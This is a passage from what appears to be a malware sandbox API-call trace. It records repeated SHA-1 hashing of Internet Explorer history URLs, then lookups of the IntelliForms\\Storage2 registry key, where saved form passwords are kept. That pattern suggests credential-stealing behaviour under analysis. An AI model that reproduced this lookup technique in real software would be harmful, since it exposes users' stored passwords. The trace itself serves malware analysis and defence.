_BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6F") returned 2 [0097.442] lstrlenW (lpString="B4") returned 2 [0097.442] lstrlenW (lpString="6F") returned 2 [0097.442] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c88a0 [0097.442] lstrcpyW (in: lpString1=0x28c88a0, lpString2="B4" | out: lpString1="B4") returned="B4" [0097.442] lstrcatW (in: lpString1="B4", lpString2="6F" | out: lpString1="B46F") returned="B46F" [0097.442] LocalFree (hMem=0x7222de0) returned 0x0 [0097.442] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="61") returned 2 [0097.442] lstrlenW (lpString="B46F") returned 4 [0097.442] lstrlenW (lpString="61") returned 2 [0097.442] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8580 [0097.442] lstrcpyW (in: lpString1=0x28c8580, lpString2="B46F" | out: lpString1="B46F") returned="B46F" [0097.442] lstrcatW (in: lpString1="B46F", lpString2="61" | out: lpString1="B46F61") returned="B46F61" [0097.442] LocalFree (hMem=0x28c88a0) returned 0x0 [0097.442] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B1") returned 2 [0097.442] lstrlenW (lpString="B46F61") returned 6 [0097.443] lstrlenW (lpString="B1") returned 2 [0097.443] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c88a0 [0097.443] lstrcpyW (in: lpString1=0x28c88a0, lpString2="B46F61" | out: lpString1="B46F61") returned="B46F61" [0097.443] lstrcatW (in: lpString1="B46F61", lpString2="B1" | out: lpString1="B46F61B1") returned="B46F61B1" [0097.443] LocalFree (hMem=0x28c8580) returned 0x0 [0097.443] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0097.443] lstrlenW (lpString="B46F61B1") returned 8 [0097.443] lstrlenW (lpString="70") returned 2 [0097.443] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8580 [0097.443] lstrcpyW (in: lpString1=0x28c8580, lpString2="B46F61B1" | out: lpString1="B46F61B1") returned="B46F61B1" [0097.443] lstrcatW (in: lpString1="B46F61B1", lpString2="70" | out: lpString1="B46F61B170") returned="B46F61B170" [0097.443] LocalFree (hMem=0x28c88a0) returned 0x0 [0097.443] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="89") returned 2 [0097.443] lstrlenW (lpString="B46F61B170") returned 10 [0097.443] lstrlenW (lpString="89") returned 2 [0097.443] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x432e850 [0097.443] lstrcpyW (in: lpString1=0x432e850, lpString2="B46F61B170" | out: lpString1="B46F61B170") returned="B46F61B170" [0097.443] lstrcatW (in: lpString1="B46F61B170", lpString2="89" | out: lpString1="B46F61B17089") returned="B46F61B17089" [0097.443] LocalFree (hMem=0x28c8580) returned 0x0 [0097.443] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="1D") returned 2 [0097.443] lstrlenW (lpString="B46F61B17089") returned 12 [0097.443] lstrlenW (lpString="1D") returned 2 [0097.443] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.443] lstrcpyW (in: lpString1=0x71d0010, lpString2="B46F61B17089" | out: lpString1="B46F61B17089") returned="B46F61B17089" [0097.443] lstrcatW (in: lpString1="B46F61B17089", lpString2="1D" | out: lpString1="B46F61B170891D") returned="B46F61B170891D" [0097.443] LocalFree (hMem=0x432e850) returned 0x0 [0097.443] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CB") returned 2 [0097.443] lstrlenW (lpString="B46F61B170891D") returned 14 [0097.443] lstrlenW (lpString="CB") returned 2 [0097.443] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x432e850 [0097.443] lstrcpyW (in: lpString1=0x432e850, lpString2="B46F61B170891D" | out: lpString1="B46F61B170891D") returned="B46F61B170891D" [0097.443] lstrcatW (in: lpString1="B46F61B170891D", lpString2="CB" | out: lpString1="B46F61B170891DCB") returned="B46F61B170891DCB" [0097.443] LocalFree (hMem=0x71d0010) returned 0x0 [0097.443] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BD") returned 2 [0097.443] lstrlenW (lpString="B46F61B170891DCB") returned 16 [0097.443] lstrlenW (lpString="BD") returned 2 [0097.443] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.443] lstrcpyW (in: lpString1=0x71d0010, lpString2="B46F61B170891DCB" | out: lpString1="B46F61B170891DCB") returned="B46F61B170891DCB" [0097.444] lstrcatW (in: lpString1="B46F61B170891DCB", lpString2="BD" | out: lpString1="B46F61B170891DCBBD") returned="B46F61B170891DCBBD" [0097.444] LocalFree (hMem=0x432e850) returned 0x0 [0097.444] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AD") returned 2 [0097.444] lstrlenW (lpString="B46F61B170891DCBBD") returned 18 [0097.444] lstrlenW (lpString="AD") returned 2 [0097.444] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.444] lstrcpyW (in: lpString1=0x72912f0, lpString2="B46F61B170891DCBBD" | out: lpString1="B46F61B170891DCBBD") returned="B46F61B170891DCBBD" [0097.444] lstrcatW (in: lpString1="B46F61B170891DCBBD", lpString2="AD" | out: lpString1="B46F61B170891DCBBDAD") returned="B46F61B170891DCBBDAD" [0097.444] LocalFree (hMem=0x71d0010) returned 0x0 [0097.444] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="94") returned 2 [0097.444] lstrlenW (lpString="B46F61B170891DCBBDAD") returned 20 [0097.444] lstrlenW (lpString="94") returned 2 [0097.444] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.444] lstrcpyW (in: lpString1=0x7290b70, lpString2="B46F61B170891DCBBDAD" | out: lpString1="B46F61B170891DCBBDAD") returned="B46F61B170891DCBBDAD" [0097.444] lstrcatW (in: lpString1="B46F61B170891DCBBDAD", lpString2="94" | out: lpString1="B46F61B170891DCBBDAD94") returned="B46F61B170891DCBBDAD94" [0097.444] LocalFree (hMem=0x72912f0) returned 0x0 [0097.444] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="38") returned 2 [0097.444] lstrlenW (lpString="B46F61B170891DCBBDAD94") returned 22 [0097.444] lstrlenW (lpString="38") returned 2 [0097.444] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.444] lstrcpyW (in: lpString1=0x72912f0, lpString2="B46F61B170891DCBBDAD94" | out: lpString1="B46F61B170891DCBBDAD94") returned="B46F61B170891DCBBDAD94" [0097.444] lstrcatW (in: lpString1="B46F61B170891DCBBDAD94", lpString2="38" | out: lpString1="B46F61B170891DCBBDAD9438") returned="B46F61B170891DCBBDAD9438" [0097.444] LocalFree (hMem=0x7290b70) returned 0x0 [0097.444] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4E") returned 2 [0097.444] lstrlenW (lpString="B46F61B170891DCBBDAD9438") returned 24 [0097.444] lstrlenW (lpString="4E") returned 2 [0097.444] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.444] lstrcpyW (in: lpString1=0x7290b70, lpString2="B46F61B170891DCBBDAD9438" | out: lpString1="B46F61B170891DCBBDAD9438") returned="B46F61B170891DCBBDAD9438" [0097.444] lstrcatW (in: lpString1="B46F61B170891DCBBDAD9438", lpString2="4E" | out: lpString1="B46F61B170891DCBBDAD94384E") returned="B46F61B170891DCBBDAD94384E" [0097.444] LocalFree (hMem=0x72912f0) returned 0x0 [0097.444] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B5") returned 2 [0097.444] lstrlenW (lpString="B46F61B170891DCBBDAD94384E") returned 26 [0097.444] lstrlenW (lpString="B5") returned 2 [0097.444] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815740 [0097.444] lstrcpyW (in: lpString1=0x2815740, lpString2="B46F61B170891DCBBDAD94384E" | out: lpString1="B46F61B170891DCBBDAD94384E") returned="B46F61B170891DCBBDAD94384E" [0097.444] lstrcatW (in: lpString1="B46F61B170891DCBBDAD94384E", lpString2="B5" | out: lpString1="B46F61B170891DCBBDAD94384EB5") returned="B46F61B170891DCBBDAD94384EB5" [0097.444] LocalFree (hMem=0x7290b70) returned 0x0 [0097.444] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="47") returned 2 [0097.445] lstrlenW (lpString="B46F61B170891DCBBDAD94384EB5") returned 28 [0097.445] lstrlenW (lpString="47") returned 2 [0097.445] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815670 [0097.445] lstrcpyW (in: lpString1=0x2815670, lpString2="B46F61B170891DCBBDAD94384EB5" | out: lpString1="B46F61B170891DCBBDAD94384EB5") returned="B46F61B170891DCBBDAD94384EB5" [0097.445] lstrcatW (in: lpString1="B46F61B170891DCBBDAD94384EB5", lpString2="47" | out: lpString1="B46F61B170891DCBBDAD94384EB547") returned="B46F61B170891DCBBDAD94384EB547" [0097.445] LocalFree (hMem=0x2815740) returned 0x0 [0097.445] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9E") returned 2 [0097.445] lstrlenW (lpString="B46F61B170891DCBBDAD94384EB547") returned 30 [0097.445] lstrlenW (lpString="9E") returned 2 [0097.445] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815740 [0097.445] lstrcpyW (in: lpString1=0x2815740, lpString2="B46F61B170891DCBBDAD94384EB547" | out: lpString1="B46F61B170891DCBBDAD94384EB547") returned="B46F61B170891DCBBDAD94384EB547" [0097.445] lstrcatW (in: lpString1="B46F61B170891DCBBDAD94384EB547", lpString2="9E" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E") returned="B46F61B170891DCBBDAD94384EB5479E" [0097.445] LocalFree (hMem=0x2815670) returned 0x0 [0097.445] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.445] lstrlenW (lpString="B46F61B170891DCBBDAD94384EB5479E") returned 32 [0097.445] lstrlenW (lpString="0C") returned 2 [0097.445] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815670 [0097.445] lstrcpyW (in: lpString1=0x2815670, lpString2="B46F61B170891DCBBDAD94384EB5479E" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E") returned="B46F61B170891DCBBDAD94384EB5479E" [0097.445] lstrcatW (in: lpString1="B46F61B170891DCBBDAD94384EB5479E", lpString2="0C" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E0C") returned="B46F61B170891DCBBDAD94384EB5479E0C" [0097.445] LocalFree (hMem=0x2815740) returned 0x0 [0097.445] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E3") returned 2 [0097.445] lstrlenW (lpString="B46F61B170891DCBBDAD94384EB5479E0C") returned 34 [0097.445] lstrlenW (lpString="E3") returned 2 [0097.445] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.445] lstrcpyW (in: lpString1=0x28e7670, lpString2="B46F61B170891DCBBDAD94384EB5479E0C" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E0C") returned="B46F61B170891DCBBDAD94384EB5479E0C" [0097.445] lstrcatW (in: lpString1="B46F61B170891DCBBDAD94384EB5479E0C", lpString2="E3" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE3") returned="B46F61B170891DCBBDAD94384EB5479E0CE3" [0097.445] LocalFree (hMem=0x2815670) returned 0x0 [0097.445] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2A") returned 2 [0097.445] lstrlenW (lpString="B46F61B170891DCBBDAD94384EB5479E0CE3") returned 36 [0097.445] lstrlenW (lpString="2A") returned 2 [0097.445] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.445] lstrcpyW (in: lpString1=0x28e7910, lpString2="B46F61B170891DCBBDAD94384EB5479E0CE3" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE3") returned="B46F61B170891DCBBDAD94384EB5479E0CE3" [0097.445] lstrcatW (in: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE3", lpString2="2A" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE32A") returned="B46F61B170891DCBBDAD94384EB5479E0CE32A" [0097.445] LocalFree (hMem=0x28e7670) returned 0x0 [0097.445] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="69") returned 2 [0097.445] lstrlenW (lpString="B46F61B170891DCBBDAD94384EB5479E0CE32A") returned 38 [0097.445] lstrlenW (lpString="69") returned 2 [0097.446] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.446] lstrcpyW (in: lpString1=0x28e7670, lpString2="B46F61B170891DCBBDAD94384EB5479E0CE32A" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE32A") returned="B46F61B170891DCBBDAD94384EB5479E0CE32A" [0097.446] lstrcatW (in: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE32A", lpString2="69" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE32A69") returned="B46F61B170891DCBBDAD94384EB5479E0CE32A69" [0097.446] LocalFree (hMem=0x28e7910) returned 0x0 [0097.446] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B6") returned 2 [0097.446] lstrlenW (lpString="B46F61B170891DCBBDAD94384EB5479E0CE32A69") returned 40 [0097.446] lstrlenW (lpString="B6") returned 2 [0097.446] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.446] lstrcpyW (in: lpString1=0x28e7910, lpString2="B46F61B170891DCBBDAD94384EB5479E0CE32A69" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE32A69") returned="B46F61B170891DCBBDAD94384EB5479E0CE32A69" [0097.446] lstrcatW (in: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE32A69", lpString2="B6" | out: lpString1="B46F61B170891DCBBDAD94384EB5479E0CE32A69B6") returned="B46F61B170891DCBBDAD94384EB5479E0CE32A69B6" [0097.446] LocalFree (hMem=0x28e7670) returned 0x0 [0097.446] CryptDestroyHash (hHash=0x7202e30) returned 1 [0097.446] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.446] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.446] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.446] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.446] LocalFree (hMem=0x28e7910) returned 0x0 [0097.446] CoTaskMemFree (pv=0x7223a40) [0097.446] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.446] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/O2uYzYjRV1_4DfQj.bmp", lpSrch="?") returned 0x0 [0097.446] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.447] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.447] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/O2uYzYjRV1_4DfQj.bmp") returned 72 [0097.447] CryptHashData (hHash=0x7202e30, pbData=0x28c8440, dwDataLen=0x92, dwFlags=0x0) returned 1 [0097.447] CryptGetHashParam (in: hHash=0x7202e30, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.447] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7C") returned 2 [0097.447] lstrlenW (lpString="") returned 0 [0097.447] lstrlenW (lpString="7C") returned 2 [0097.447] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7223a40 [0097.447] lstrcpyW (in: lpString1=0x7223a40, lpString2="" | out: lpString1="") returned="" [0097.447] lstrcatW (in: lpString1="", lpString2="7C" | out: lpString1="7C") returned="7C" [0097.447] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C9") returned 2 [0097.447] lstrlenW (lpString="7C") returned 2 [0097.447] lstrlenW (lpString="C9") returned 2 [0097.447] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c98e0 [0097.447] lstrcpyW (in: lpString1=0x28c98e0, lpString2="7C" | out: lpString1="7C") returned="7C" [0097.447] lstrcatW (in: lpString1="7C", lpString2="C9" | out: lpString1="7CC9") returned="7CC9" [0097.447] LocalFree (hMem=0x7223a40) returned 0x0 [0097.447] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="59") returned 2 [0097.447] lstrlenW (lpString="7CC9") returned 4 [0097.447] lstrlenW (lpString="59") returned 2 [0097.447] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c9b60 [0097.447] lstrcpyW (in: lpString1=0x28c9b60, lpString2="7CC9" | out: lpString1="7CC9") returned="7CC9" [0097.447] lstrcatW (in: lpString1="7CC9", lpString2="59" | out: lpString1="7CC959") returned="7CC959" [0097.448] LocalFree (hMem=0x28c98e0) returned 0x0 [0097.448] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6C") returned 2 [0097.448] lstrlenW (lpString="7CC959") returned 6 [0097.448] lstrlenW (lpString="6C") returned 2 [0097.448] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c98e0 [0097.448] lstrcpyW (in: lpString1=0x28c98e0, lpString2="7CC959" | out: lpString1="7CC959") returned="7CC959" [0097.448] lstrcatW (in: lpString1="7CC959", lpString2="6C" | out: lpString1="7CC9596C") returned="7CC9596C" [0097.448] LocalFree (hMem=0x28c9b60) returned 0x0 [0097.448] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DF") returned 2 [0097.448] lstrlenW (lpString="7CC9596C") returned 8 [0097.448] lstrlenW (lpString="DF") returned 2 [0097.448] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c9b60 [0097.448] lstrcpyW (in: lpString1=0x28c9b60, lpString2="7CC9596C" | out: lpString1="7CC9596C") returned="7CC9596C" [0097.448] lstrcatW (in: lpString1="7CC9596C", lpString2="DF" | out: lpString1="7CC9596CDF") returned="7CC9596CDF" [0097.448] LocalFree (hMem=0x28c98e0) returned 0x0 [0097.448] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AA") returned 2 [0097.448] lstrlenW (lpString="7CC9596CDF") returned 10 [0097.448] lstrlenW (lpString="AA") returned 2 [0097.448] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71ceee0 [0097.448] lstrcpyW (in: lpString1=0x71ceee0, lpString2="7CC9596CDF" | out: lpString1="7CC9596CDF") returned="7CC9596CDF" [0097.448] lstrcatW (in: lpString1="7CC9596CDF", lpString2="AA" | out: lpString1="7CC9596CDFAA") returned="7CC9596CDFAA" [0097.448] LocalFree (hMem=0x28c9b60) returned 0x0 [0097.448] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="50") returned 2 [0097.448] lstrlenW (lpString="7CC9596CDFAA") returned 12 [0097.448] lstrlenW (lpString="50") returned 2 [0097.448] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.448] lstrcpyW (in: lpString1=0x71d0010, lpString2="7CC9596CDFAA" | out: lpString1="7CC9596CDFAA") returned="7CC9596CDFAA" [0097.448] lstrcatW (in: lpString1="7CC9596CDFAA", lpString2="50" | out: lpString1="7CC9596CDFAA50") returned="7CC9596CDFAA50" [0097.448] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.448] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E3") returned 2 [0097.448] lstrlenW (lpString="7CC9596CDFAA50") returned 14 [0097.448] lstrlenW (lpString="E3") returned 2 [0097.448] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71ceee0 [0097.448] lstrcpyW (in: lpString1=0x71ceee0, lpString2="7CC9596CDFAA50" | out: lpString1="7CC9596CDFAA50") returned="7CC9596CDFAA50" [0097.448] lstrcatW (in: lpString1="7CC9596CDFAA50", lpString2="E3" | out: lpString1="7CC9596CDFAA50E3") returned="7CC9596CDFAA50E3" [0097.448] LocalFree (hMem=0x71d0010) returned 0x0 [0097.448] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="46") returned 2 [0097.449] lstrlenW (lpString="7CC9596CDFAA50E3") returned 16 [0097.449] lstrlenW (lpString="46") returned 2 [0097.449] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71d0010 [0097.449] lstrcpyW (in: lpString1=0x71d0010, lpString2="7CC9596CDFAA50E3" | out: lpString1="7CC9596CDFAA50E3") returned="7CC9596CDFAA50E3" [0097.449] lstrcatW (in: lpString1="7CC9596CDFAA50E3", lpString2="46" | out: lpString1="7CC9596CDFAA50E346") returned="7CC9596CDFAA50E346" [0097.449] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.449] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DB") returned 2 [0097.449] lstrlenW (lpString="7CC9596CDFAA50E346") returned 18 [0097.449] lstrlenW (lpString="DB") returned 2 [0097.449] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.449] lstrcpyW (in: lpString1=0x7290b70, lpString2="7CC9596CDFAA50E346" | out: lpString1="7CC9596CDFAA50E346") returned="7CC9596CDFAA50E346" [0097.449] lstrcatW (in: lpString1="7CC9596CDFAA50E346", lpString2="DB" | out: lpString1="7CC9596CDFAA50E346DB") returned="7CC9596CDFAA50E346DB" [0097.449] LocalFree (hMem=0x71d0010) returned 0x0 [0097.449] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AF") returned 2 [0097.449] lstrlenW (lpString="7CC9596CDFAA50E346DB") returned 20 [0097.449] lstrlenW (lpString="AF") returned 2 [0097.449] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.449] lstrcpyW (in: lpString1=0x72912f0, lpString2="7CC9596CDFAA50E346DB" | out: lpString1="7CC9596CDFAA50E346DB") returned="7CC9596CDFAA50E346DB" [0097.449] lstrcatW (in: lpString1="7CC9596CDFAA50E346DB", lpString2="AF" | out: lpString1="7CC9596CDFAA50E346DBAF") returned="7CC9596CDFAA50E346DBAF" [0097.449] LocalFree (hMem=0x7290b70) returned 0x0 [0097.449] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="45") returned 2 [0097.449] lstrlenW (lpString="7CC9596CDFAA50E346DBAF") returned 22 [0097.449] lstrlenW (lpString="45") returned 2 [0097.449] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.449] lstrcpyW (in: lpString1=0x7290b70, lpString2="7CC9596CDFAA50E346DBAF" | out: lpString1="7CC9596CDFAA50E346DBAF") returned="7CC9596CDFAA50E346DBAF" [0097.449] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF", lpString2="45" | out: lpString1="7CC9596CDFAA50E346DBAF45") returned="7CC9596CDFAA50E346DBAF45" [0097.449] LocalFree (hMem=0x72912f0) returned 0x0 [0097.449] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="07") returned 2 [0097.449] lstrlenW (lpString="7CC9596CDFAA50E346DBAF45") returned 24 [0097.449] lstrlenW (lpString="07") returned 2 [0097.449] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x72912f0 [0097.449] lstrcpyW (in: lpString1=0x72912f0, lpString2="7CC9596CDFAA50E346DBAF45" | out: lpString1="7CC9596CDFAA50E346DBAF45") returned="7CC9596CDFAA50E346DBAF45" [0097.449] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF45", lpString2="07" | out: lpString1="7CC9596CDFAA50E346DBAF4507") returned="7CC9596CDFAA50E346DBAF4507" [0097.449] LocalFree (hMem=0x7290b70) returned 0x0 [0097.449] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3A") returned 2 [0097.449] lstrlenW (lpString="7CC9596CDFAA50E346DBAF4507") returned 26 [0097.449] lstrlenW (lpString="3A") returned 2 [0097.449] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.450] lstrcpyW (in: lpString1=0x2815670, lpString2="7CC9596CDFAA50E346DBAF4507" | out: lpString1="7CC9596CDFAA50E346DBAF4507") returned="7CC9596CDFAA50E346DBAF4507" [0097.450] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF4507", lpString2="3A" | out: lpString1="7CC9596CDFAA50E346DBAF45073A") returned="7CC9596CDFAA50E346DBAF45073A" [0097.450] LocalFree (hMem=0x72912f0) returned 0x0 [0097.450] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="31") returned 2 [0097.450] lstrlenW (lpString="7CC9596CDFAA50E346DBAF45073A") returned 28 [0097.450] lstrlenW (lpString="31") returned 2 [0097.450] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815740 [0097.450] lstrcpyW (in: lpString1=0x2815740, lpString2="7CC9596CDFAA50E346DBAF45073A" | out: lpString1="7CC9596CDFAA50E346DBAF45073A") returned="7CC9596CDFAA50E346DBAF45073A" [0097.450] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF45073A", lpString2="31" | out: lpString1="7CC9596CDFAA50E346DBAF45073A31") returned="7CC9596CDFAA50E346DBAF45073A31" [0097.450] LocalFree (hMem=0x2815670) returned 0x0 [0097.450] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5E") returned 2 [0097.450] lstrlenW (lpString="7CC9596CDFAA50E346DBAF45073A31") returned 30 [0097.450] lstrlenW (lpString="5E") returned 2 [0097.450] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.450] lstrcpyW (in: lpString1=0x2815670, lpString2="7CC9596CDFAA50E346DBAF45073A31" | out: lpString1="7CC9596CDFAA50E346DBAF45073A31") returned="7CC9596CDFAA50E346DBAF45073A31" [0097.450] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF45073A31", lpString2="5E" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E") returned="7CC9596CDFAA50E346DBAF45073A315E" [0097.450] LocalFree (hMem=0x2815740) returned 0x0 [0097.450] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="08") returned 2 [0097.450] lstrlenW (lpString="7CC9596CDFAA50E346DBAF45073A315E") returned 32 [0097.450] lstrlenW 